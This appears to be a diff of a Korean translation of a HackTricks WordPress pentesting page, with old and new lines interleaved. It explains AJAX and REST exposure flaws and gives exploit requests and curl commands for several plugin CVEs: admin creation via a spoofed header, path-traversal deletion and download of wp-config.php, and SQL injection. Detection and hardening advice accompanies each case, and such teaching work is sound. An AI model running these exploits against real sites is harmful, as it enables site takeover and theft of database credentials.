플러그인이 기능을 사용자에게 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. 이 nonce는 **워드프레스 인스턴스에 인증된 모든 사용자가 가질 수 있습니다** (역할에 관계없이).
|
||||
플러그인이 함수를 사용자에게 노출하는 방법 중 하나는 AJAX 핸들러를 통한 것입니다. 이들 핸들러에는 로직, authorization, 또는 authentication 버그가 포함될 수 있습니다. 게다가 이러한 함수들이 authentication과 authorization을 wordpress nonce의 존재 여부에 기반하는 경우가 꽤 자주 있으며, 이 nonce는 **any user authenticated in the Wordpress instance might have** (역할과 무관하게).
|
||||
|
||||
이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다:
|
||||
These are the functions that can be used to expose a function in a plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있도록 만듭니다.**
|
||||
**`nopriv`를 사용하면 엔드포인트가 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 됩니다.**
|
||||
|
||||
> [!CAUTION]
|
||||
> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
|
||||
> 또한, 만약 해당 함수가 사용자 권한을 `wp_verify_nonce` 함수로만 확인한다면, 이 함수는 단지 사용자가 로그인되어 있는지 여부만 확인할 뿐 보통 사용자 역할(role)을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
|
||||
|
||||
- **REST API**
|
||||
|
||||
`register_rest_route` 함수를 사용하여 워드프레스에서 REST API를 등록하여 함수를 노출하는 것도 가능합니다:
|
||||
또한 `register_rest_route` 함수를 사용해 wordpress에서 REST API를 등록하여 함수를 노출시키는 것도 가능합니다:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback`는 주어진 사용자가 API 메서드를 호출할 수 있는 권한이 있는지 확인하는 함수에 대한 콜백입니다.
|
||||
The `permission_callback`은(는) 주어진 사용자가 API 메서드를 호출할 권한이 있는지 확인하는 콜백 함수입니다.
|
||||
|
||||
**내장된 `__return_true` 함수가 사용되면, 사용자 권한 확인을 단순히 건너뜁니다.**
|
||||
**내장된 `__return_true` 함수가 사용되면 사용자 권한 검사를 단순히 건너뜁니다.**
|
||||
|
||||
- **php 파일에 직접 접근**
|
||||
- **php 파일에 대한 직접 접근**
|
||||
|
||||
물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로도 트리거되는 취약한 기능을 노출하는 경우, 모든 사용자가 이를 악용할 수 있습니다.
|
||||
물론 Wordpress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 실행되는 취약한 기능을 노출하고 있다면, 모든 사용자가 이를 악용할 수 있습니다.
|
||||
|
||||
### wp_ajax_nopriv를 통한 인증되지 않은 임의 파일 삭제 (Litho 테마 <= 3.0)
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출합니다. **_nopriv_** 변형이 사용될 때 **콜백은 인증되지 않은 방문자가 접근할 수 있게 됩니다**, 따라서 모든 민감한 작업은 추가적으로 다음을 구현해야 합니다:
|
||||
일부 플러그인은 내부 통합이나 reverse proxies를 위한 "trusted header" 단축 경로를 구현하고, 해당 헤더를 REST 요청의 현재 사용자 컨텍스트를 설정하는 데 사용합니다. 업스트림 컴포넌트가 그 헤더를 요청에 암호학적으로 바인딩하지 않으면 공격자가 이를 스푸핑하여 관리자 권한으로 권한이 있는 REST 라우트에 접근할 수 있습니다.
|
||||
|
||||
1. **권한 확인** (예: `current_user_can()` 또는 최소한 `is_user_logged_in()`), 및
|
||||
2. **CSRF nonce**를 `check_ajax_referer()` / `wp_verify_nonce()`로 검증, 및
|
||||
3. **엄격한 입력 정화 / 검증**.
|
||||
- Impact: 인증되지 않은 상태에서 core users REST route를 통해 새 관리자 계정을 생성하여 관리자 권한으로 권한 상승이 발생합니다.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (사용자 ID 1을 강제 지정하며, 일반적으로 첫 번째 관리자 계정입니다.)
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
Litho 다목적 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 잊어버리고 다음 코드를 포함하여 배포하게 되었습니다 (단순화됨):
|
||||
PoC
|
||||
```http
|
||||
POST /wp-json/wp/v2/users HTTP/1.1
|
||||
Host: <WP HOST>
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
X-Wcpay-Platform-Checkout-User: 1
|
||||
Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Why it works
|
||||
|
||||
- 플러그인은 클라이언트가 제어하는 헤더를 인증 상태에 매핑하고 권한 검사를 건너뛴다.
|
||||
- WordPress core는 이 라우트에 대해 `create_users` capability를 기대한다; 플러그인 해킹은 헤더에서 현재 사용자 컨텍스트를 직접 설정하여 이를 우회한다.
|
||||
|
||||
Expected success indicators
|
||||
|
||||
- 생성된 사용자를 설명하는 JSON 바디와 함께 HTTP 201.
|
||||
- 새 관리자 계정이 `wp-admin/users.php`에 표시됨.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- `getallheaders()`, `$_SERVER['HTTP_...']` 또는 사용자 정의 헤더를 읽어 사용자 컨텍스트를 설정하는 vendor SDK(예: `wp_set_current_user()`, `wp_set_auth_cookie()`)를 grep한다.
|
||||
- 요청 헤더에 의존하고 강력한 `permission_callback` 검사가 없는 권한 있는 콜백에 대한 REST 등록을 검토한다.
|
||||
- REST 핸들러 내부에서 헤더 값으로만 제한된 상태로 사용되는 코어 사용자 관리 함수(`wp_insert_user`, `wp_create_user`)의 사용을 찾아본다.
|
||||
|
||||
Hardening
|
||||
|
||||
- 클라이언트가 제어하는 헤더에서 인증 또는 권한을 유도하지 마라.
|
||||
- 리버스 프록시가 반드시 신원을 주입해야 하는 경우, 프록시에서 신뢰를 종료하고 수신 복사본을 제거(예: 에지에서 `unset X-Wcpay-Platform-Checkout-User`)한 다음 서명된 토큰을 전달하고 서버 측에서 검증하라.
|
||||
- 권한 있는 동작을 수행하는 REST 라우트에는 `current_user_can()` 검사와 엄격한 `permission_callback`을 요구하라(절대 `__return_true` 사용 금지).
|
||||
- 헤더 "impersonation"보다 1st-party 인증(쿠키, application passwords, OAuth)을 선호하라.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출한다. **_nopriv_** 변형이 사용되면 **콜백이 인증되지 않은 방문자에 의해 접근 가능해진다**, 따라서 민감한 동작은 추가로 다음을 구현해야 한다:
|
||||
|
||||
1. **권한 검사** (예: `current_user_can()` 또는 최소한 `is_user_logged_in()`), 그리고
|
||||
2. **CSRF nonce** 를 `check_ajax_referer()` / `wp_verify_nonce()`로 검증, 그리고
|
||||
3. **엄격한 입력 정화/검증**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -398,31 +443,31 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
이 스니펫에서 발생하는 문제:
|
||||
이 스니펫으로 인해 발생하는 문제:
|
||||
|
||||
* **인증되지 않은 접근** – `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
|
||||
* **논스 / 권한 검사 없음** – 모든 방문자가 엔드포인트에 접근할 수 있습니다.
|
||||
* **경로 정리 없음** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어, 고전적인 `../../` 탐색이 가능합니다.
|
||||
* **Unauthenticated access** – `wp_ajax_nopriv_` 훅이 등록되어 있다.
|
||||
* **No nonce / capability check** – 어떤 방문자라도 엔드포인트를 호출할 수 있다.
|
||||
* **No path sanitisation** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일시스템 경로에 연결되어 classic `../../` traversal을 허용한다.
|
||||
|
||||
#### 악용
|
||||
#### Exploitation
|
||||
|
||||
공격자는 단일 HTTP POST 요청을 보내어 **업로드 기본 디렉토리 아래의** 모든 파일이나 디렉토리를 삭제할 수 있습니다 (일반적으로 `<wp-root>/wp-content/uploads/`입니다).
|
||||
공격자는 단일 HTTP POST 요청을 보내어 **uploads base directory 이하에 있는** 모든 파일이나 디렉터리(보통 `<wp-root>/wp-content/uploads/`)를 삭제할 수 있다:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
`wp-config.php` 파일이 *uploads* 외부에 위치하기 때문에 기본 설치에서는 네 개의 `../` 시퀀스만으로 충분합니다. `wp-config.php`를 삭제하면 다음 방문 시 WordPress가 *설치 마법사*로 강제 전환되어 전체 사이트를 장악할 수 있습니다(공격자는 단순히 새로운 DB 구성을 제공하고 관리자 사용자를 생성합니다).
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
다른 영향력 있는 타겟으로는 보안 플러그인을 무력화하기 위한 플러그인/테마 `.php` 파일이나 `.htaccess` 규칙이 있습니다.
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
|
||||
#### 탐지 체크리스트
|
||||
|
||||
* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()`, 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백.
|
||||
* 경로에 대한 비위생적인 사용자 입력의 연결( `$_POST`, `$_GET`, `$_REQUEST`를 찾아보세요).
|
||||
* `check_ajax_referer()` 및 `current_user_can()`/`is_user_logged_in()`의 부재.
|
||||
* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 `add_action( 'wp_ajax_nopriv_...')` 콜백.
|
||||
* 필터링되지 않은 사용자 입력을 경로에 연결하는 경우(`$_POST`, `$_GET`, `$_REQUEST` 등을 확인).
|
||||
* `check_ajax_referer()` 및 `current_user_can()`/`is_user_logged_in()` 의 부재.
|
||||
|
||||
#### 강화
|
||||
#### 하드닝
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -442,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **항상** 디스크에서의 모든 쓰기/삭제 작업을 특권으로 간주하고 두 번 확인하십시오:
|
||||
> • 인증 • 권한 부여 • 논스 • 입력 정화 • 경로 포함 (예: `realpath()`와 `str_starts_with()`를 통해).
|
||||
> **항상** 디스크에 대한 쓰기/삭제 작업은 권한이 있는 것으로 취급하고 다음을 반드시 재확인하세요:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### 오래된 역할 복원 및 누락된 권한 부여를 통한 권한 상승 (ASE "View Admin as Role")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
많은 플러그인이 원래 역할을 사용자 메타에 저장하여 나중에 복원할 수 있도록 "역할로 보기" 또는 임시 역할 전환 기능을 구현합니다. 복원 경로가 요청 매개변수(예: `$_REQUEST['reset-for']`)와 플러그인 유지 관리 목록만을 의존하고, 능력 및 유효한 논스를 확인하지 않으면 수직 권한 상승이 발생합니다.
|
||||
많은 플러그인은 원래 역할을 user meta에 저장해 나중에 복원할 수 있도록 "view as role" 또는 일시적인 역할 전환 기능을 구현합니다. 복원 경로가 요청 파라미터(예: `$_REQUEST['reset-for']`)와 플러그인이 관리하는 목록에만 의존하고 capabilities 검사와 유효한 nonce를 확인하지 않는다면, 이것은 vertical privilege escalation이 됩니다.
|
||||
|
||||
실제 사례는 Admin and Site Enhancements (ASE) 플러그인(≤ 7.6.2.1)에서 발견되었습니다. 리셋 분기는 `reset-for=<username>`에 따라 역할을 복원했으며, 사용자의 내부 배열 `$options['viewing_admin_as_role_are']`에 사용자 이름이 나타나면 현재 역할을 제거하고 사용자 메타 `_asenha_view_admin_as_original_roles`에서 저장된 역할을 다시 추가하기 전에 `current_user_can()` 확인이나 논스 검증을 수행하지 않았습니다:
|
||||
실제 사례는 Admin and Site Enhancements (ASE) 플러그인 (≤ 7.6.2.1)에서 발견되었습니다. reset 분기는 내부 배열 `$options['viewing_admin_as_role_are']`에 사용자명이 존재하면 `reset-for=<username>`에 따라 역할을 복원했으나, 현재 역할을 제거하고 user meta `_asenha_view_admin_as_original_roles`에 저장된 역할을 다시 추가하기 전에 `current_user_can()` 검사나 nonce 검증을 전혀 수행하지 않았습니다:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -466,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
왜 취약한가
|
||||
왜 악용 가능한가
|
||||
|
||||
- 서버 측 권한 부여 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰합니다.
|
||||
- 사용자가 이전에 `_asenha_view_admin_as_original_roles`에 저장된 더 높은 권한을 가지고 있었고 강등되었다면, 리셋 경로를 통해 이를 복원할 수 있습니다.
|
||||
- 일부 배포에서는 인증된 사용자가 여전히 `viewing_admin_as_role_are`에 있는 다른 사용자 이름에 대해 리셋을 트리거할 수 있습니다 (권한 부여 실패).
|
||||
- 서버 측 권한 확인 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰함.
|
||||
- 사용자가 이전에 `_asenha_view_admin_as_original_roles`에 더 높은 권한이 저장되어 있다가 권한이 강등된 경우, 리셋 경로를 호출하면 해당 권한을 복원할 수 있음.
|
||||
- 일부 배포에서는, 인증된 어떤 사용자라도 `viewing_admin_as_role_are`에 여전히 남아있는 다른 사용자명에 대한 리셋을 트리거할 수 있음(권한 검증 결함).
|
||||
|
||||
공격 전제 조건
|
||||
|
||||
- 기능이 활성화된 취약한 플러그인 버전.
|
||||
- 대상 계정에 이전 사용에서 저장된 오래된 높은 권한 역할이 있습니다.
|
||||
- 인증된 세션; 리셋 흐름에서 누락된 nonce/능력.
|
||||
- 해당 기능이 활성화된 취약한 플러그인 버전.
|
||||
- 타깃 계정이 이전 사용으로 인해 user meta에 저장된 오래된 고권한 역할을 보유함.
|
||||
- 인증된 세션(어떤 것이라도 가능); reset 흐름에서 nonce/capability 검증이 없음.
|
||||
|
||||
악용 (예시)
|
||||
Exploitation (example)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -486,42 +531,57 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
취약한 빌드에서는 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 효과적으로 권한을 상승시킵니다.
|
||||
취약한 빌드에서는 이것이 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 권한을 상승시킨다.
|
||||
|
||||
탐지 체크리스트
|
||||
|
||||
- 사용자 메타에 “원래 역할”을 지속하는 역할 전환 기능을 찾습니다(예: `_asenha_view_admin_as_original_roles`).
|
||||
- 다음을 포함하는 재설정/복원 경로를 식별합니다:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST`에서 사용자 이름을 읽습니다.
|
||||
- `current_user_can()` 및 `wp_verify_nonce()` / `check_admin_referer()` 없이 `add_role()` / `remove_role()`를 통해 역할을 수정합니다.
|
||||
- 행위자의 능력 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)을 기반으로 권한을 부여합니다.
|
||||
- 역할 전환 기능 중 user meta에 “원래 역할”을 유지하는 기능(예: `_asenha_view_admin_as_original_roles`)을 찾아라.
|
||||
- 다음과 같은 재설정/복원 경로를 식별하라:
|
||||
- 사용자 이름을 `$_REQUEST` / `$_GET` / `$_POST`에서 읽는다.
|
||||
- `current_user_can()` 및 `wp_verify_nonce()` / `check_admin_referer()` 없이 `add_role()` / `remove_role()`로 역할을 변경한다.
|
||||
- 행위자의 capabilities(권한) 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)을 기반으로 권한을 부여하는 것을 식별하라.
|
||||
|
||||
강화
|
||||
보안 강화
|
||||
|
||||
- 모든 상태 변경 분기에서 능력 검사를 시행합니다(예: `current_user_can('manage_options')` 또는 더 엄격하게).
|
||||
- 모든 역할/권한 변형에 대해 nonce를 요구하고 이를 검증합니다: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- 요청에서 제공된 사용자 이름을 절대 신뢰하지 마십시오; 인증된 행위자와 명시적 정책을 기반으로 서버 측에서 대상 사용자를 확인합니다.
|
||||
- 프로필/역할 업데이트 시 “원래 역할” 상태를 무효화하여 오래된 높은 권한 복원을 방지합니다:
|
||||
- 모든 상태 변경 분기마다 권한 검사를 강제 적용(예: `current_user_can('manage_options')` 또는 더 엄격한 검사).
|
||||
- 모든 역할/권한 변경에 대해 nonce를 요구하고 검증하라: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- 요청으로 전달된 사용자 이름을 절대 신뢰하지 말고; 인증된 행위자와 명시적 정책에 따라 서버 측에서 대상 사용자를 결정하라.
|
||||
- 프로필/역할 업데이트 시 “원래 역할” 상태를 무효화하여 오래된 고권한 복원을 방지하라:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- 최소한의 상태를 저장하고 임시 역할 전환을 위해 시간 제한이 있는 권한 보호 토큰을 사용하는 것을 고려하세요.
|
||||
- 임시 역할 전환을 위해 최소한의 상태만 저장하고 시간 제한이 있는 capability-guarded 토큰 사용을 고려하세요.
|
||||
|
||||
---
|
||||
|
||||
## WordPress 보호
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
### 정기 업데이트
|
||||
Generic edge/server WAFs는 광범위한 패턴(SQLi, XSS, LFI)에 맞춰 튜닝되어 있습니다. 많은 고위험 WordPress/plugin 취약점은 애플리케이션 특화 로직/auth 버그로, 엔진이 WordPress 경로와 플러그인 의미론을 이해하지 못하면 정상 트래픽처럼 보입니다.
|
||||
|
||||
WordPress, 플러그인 및 테마가 최신인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
|
||||
Offensive notes
|
||||
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
### Regular Updates
|
||||
|
||||
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
또한, **신뢰할 수 있는 WordPress 플러그인과 테마만 설치하세요**.
|
||||
또한, **신뢰할 수 있는 WordPress plugins와 themes만 설치하세요**.
|
||||
|
||||
### 보안 플러그인
|
||||
|
||||
@ -529,17 +589,18 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **기타 권장 사항**
|
||||
### **기타 권장사항**
|
||||
|
||||
- 기본 **admin** 사용자 제거
|
||||
- 기본 **admin** 계정 제거
|
||||
- **강력한 비밀번호**와 **2FA** 사용
|
||||
- 주기적으로 사용자 **권한** 검토
|
||||
- 무차별 대입 공격을 방지하기 위해 **로그인 시도 제한**
|
||||
- **`wp-admin.php`** 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 접근 허용.
|
||||
- 정기적으로 사용자 **권한**을 **검토**하세요
|
||||
- **로그인 시도 제한**으로 Brute Force 공격을 방지하세요
|
||||
- **`wp-admin.php`** 파일명을 변경하고 내부 또는 특정 IP에서만 접근을 허용하세요.
|
||||
|
||||
### 인증되지 않은 SQL 인젝션 (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal 채용 플러그인은 궁극적으로 `modules/category/model.php::validateFormData()` 내에서 다음과 같은 취약한 코드를 실행하는 **savecategory** 작업을 노출했습니다:
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal 채용 플러그인은 **savecategory** 작업을 노출했으며, 이는 궁극적으로 `modules/category/model.php::validateFormData()` 내부에서 다음과 같은 취약한 코드를 실행합니다:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -549,19 +610,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
이 스니펫에서 발생하는 문제:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **비위생적인 사용자 입력** – `parentid`는 HTTP 요청에서 직접 가져옵니다.
|
||||
2. **WHERE 절 내 문자열 연결** – `is_numeric()` / `esc_sql()` / 준비된 문이 없습니다.
|
||||
3. **인증되지 않은 접근 가능성** – 작업이 `admin-post.php`를 통해 실행되지만, 유일한 검사는 **CSRF nonce**(`wp_verify_nonce()`)로, 모든 방문자가 단축 코드 `[wpjobportal_my_resumes]`를 포함한 공개 페이지에서 이를 가져올 수 있습니다.
|
||||
1. **검증되지 않은 사용자 입력** – `parentid`가 HTTP 요청에서 그대로 전달됩니다.
|
||||
2. **WHERE 절 내부의 문자열 연결** – `is_numeric()` / `esc_sql()` / prepared statement가 없습니다.
|
||||
3. **인증되지 않은 접근 가능성** – 액션은 `admin-post.php`를 통해 실행되지만, 유일한 검증은 **CSRF nonce** (`wp_verify_nonce()` )이며, 이는 단축코드 `[wpjobportal_my_resumes]`를 포함한 공개 페이지에서 누구나 가져올 수 있습니다.
|
||||
|
||||
#### 악용
|
||||
#### Exploitation
|
||||
|
||||
1. 새 nonce 가져오기:
|
||||
1. Grab a fresh nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. `parentid`를 악용하여 임의의 SQL 주입:
|
||||
2. Inject arbitrary SQL by abusing `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -569,18 +630,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
응답은 주입된 쿼리의 결과를 공개하거나 데이터베이스를 변경하여 SQLi를 증명합니다.
|
||||
The response discloses the result of the injected query or alters the database, proving SQLi.
|
||||
|
||||
|
||||
### 인증되지 않은 임의 파일 다운로드 / 경로 탐색 (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
또 다른 작업, **downloadcustomfile**,은 방문자가 경로 탐색을 통해 **디스크의 모든 파일**을 다운로드할 수 있도록 허용했습니다. 취약한 싱크는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
|
||||
Another task, **downloadcustomfile**, allowed visitors to download **디스크상의 모든 파일** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name`은 공격자가 제어할 수 있으며 **정화 없이** 연결됩니다. 다시 말해, 유일한 차단 요소는 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
|
||||
`$file_name`은 공격자가 제어하며 **검증 없이** 이어붙여집니다. 다시 말해, 유일한 장벽은 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -591,13 +652,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
서버는 `wp-config.php`의 내용을 응답하여 DB 자격 증명 및 인증 키를 유출합니다.
|
||||
서버가 `wp-config.php`의 내용을 반환하여 leaking DB credentials and auth keys.
|
||||
|
||||
## References
|
||||
## 참조
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user